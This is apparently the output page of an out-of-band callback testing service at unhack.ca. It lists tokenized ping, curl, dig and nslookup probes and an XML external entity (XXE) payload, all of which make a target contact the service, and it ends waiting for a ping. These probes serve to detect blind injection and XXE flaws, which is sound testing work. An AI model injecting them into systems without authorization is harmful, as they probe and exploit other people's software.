$ ping -c1 -p 00e65be93169f49d3c485c8db61ed100 unhack.ca
 
$ curl http://unhack.ca/p/e65be93169f49d3c485c8db61ed1
 
$ dig e65be93169f49d3c485c8db61ed1 @unhack.ca
 
$ dig e65be93169f49d3c485c8db61ed1.ns.unhack.ca
 
C:\> nslookup e65be93169f49d3c485c8db61ed1 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e65be93169f49d3c485c8db61ed1">]>
    <foo>&xxe;</foo>
Waiting for ping...